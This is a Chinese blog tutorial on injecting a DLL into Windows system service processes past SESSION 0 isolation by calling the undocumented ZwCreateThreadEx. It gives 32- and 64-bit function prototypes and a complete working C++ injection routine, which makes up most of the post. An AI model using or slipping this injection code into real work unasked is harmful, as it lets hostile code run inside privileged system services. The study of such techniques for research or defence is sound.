突破SESSION 0隔离的远程线程注入

前言:

  之前提到,由于SESSION 0隔离机制,导致传统远程线程注入系统服务进程失败。经过前人的不断逆向探索,发现直接调用 ZwCreateThreadEx 函数将其第7个参数 CreateSuspended(CreateThreadFlags)的值置为零可以进行远程线程注入,还可以突破 SESSION 0隔离,成功注入。

实现原理:

  与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于,突破SESSION 0远线程注入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程,CreateRemoteThread 之所以注入失败,是因为引入了会话隔离机制。该机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。跟踪发现 CreateRemoteThread 函数 ,发现内部调用 ZwCreateThreadEx 函数创建远程线程的时候,第七个参数 CreateSuspended(CreateThreadFlags)值为1,它会导致线程创建完成后一直挂起无法恢复运行,这就是为什么DLL注入失败的原因。所以,要想使系统服务进程远线程注入成功,只需要直接调用ZwCreateThreadEx函数,将第七个参数CreateSuspended(CreateThreadFlags)的值置为零,这样线程创建完成后就会恢复运行,成功注入。

  注意:由于 ZwCreateThreadEx 在 ntdll.dll并没有声明,所以需要自己声明函数原型,并使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。而64位与32位系统下,ZwCreateThreadEx函数原型不一样。

由于会话隔离,系统服务程序不能显示程序窗体,所以并不会因为MessageBox弹窗。也不能用常规方式创建用户进程。为了解决服务层和用户层的交互问题,微软专门提供了一系列以WTS(Windows Terminal Service)开头的函数来实现这些功能。

//64位系统下
    DWORD WINAPI ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown
        );

//32位系统下
    DWORD WINAPI ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown
        );

 实现代码:

BOOL CInjectDlg::ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
    // 1.打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,        // 打开权限
        FALSE,                    // 是否继承
        dwProcessId);            // 进程PID
    if (NULL == hProcess)
    {
        MessageBox(L"打开目标进程失败!");
        return FALSE;
    }

    // 2.在目标进程中申请空间
    LPVOID lpPathAddr = VirtualAllocEx(
        hProcess,                    // 目标进程句柄
        0,                            // 指定申请地址
        strlen(pszDllFileName) + 1,    // 申请空间大小
        MEM_RESERVE | MEM_COMMIT,    // 内存的状态
        PAGE_READWRITE);            // 内存属性
    if (NULL == lpPathAddr)
    {
        MessageBox(L"在目标进程中申请空间失败!");
        CloseHandle(hProcess);
        return FALSE;
    }

    // 3.在目标进程中写入Dll路径
    if (FALSE == WriteProcessMemory(
        hProcess,                    // 目标进程句柄
        lpPathAddr,                    // 目标进程地址
        pszDllFileName,                    // 写入的缓冲区
        strlen(pszDllFileName) + 1,    // 缓冲区大小
        NULL))                // 实际写入大小
    {
        MessageBox(L"目标进程中写入Dll路径失败!");
        CloseHandle(hProcess);
        return FALSE;
    }

    //4.加载ntdll.dll
    HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
    if (NULL == hNtdll)
    {
        MessageBox(L"加载ntdll.dll失败!");
        CloseHandle(hProcess);
        return FALSE;
    }

    //5.获取LoadLibraryA的函数地址
    //FARPROC可以自适应32位与64位
    FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle((LPCWSTR)L"kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        MessageBox(L"获取LoadLibrary函数地址失败!");
        CloseHandle(hProcess);
        return FALSE;
    }

    //6.获取ZwCreateThreadEx函数地址,该函数在32位与64位下原型不同
    //_WIN64用来判断编译环境 ,_WIN32用来判断是否是Windows系统
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown
        );
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown
        );
#endif 
    typedef_ZwCreateThreadEx ZwCreateThreadEx =
        (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        MessageBox(L"获取ZwCreateThreadEx函数地址失败!");
        CloseHandle(hProcess);
        return FALSE;
    }
    //7.在目标进程中创建线程
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
        (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpPathAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        MessageBox(L"目标进程中创建线程失败!");
        CloseHandle(hProcess);
        return FALSE;
    }

    // 8.等待线程结束
    WaitForSingleObject(hRemoteThread, -1);

    // 9.清理环境
    VirtualFreeEx(hProcess, lpPathAddr, 0, MEM_RELEASE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
    FreeLibrary(hNtdll);
    return TRUE;
}

 

posted @ 2020-05-14 16:30  自己的小白  阅读(70)  评论(0编辑  收藏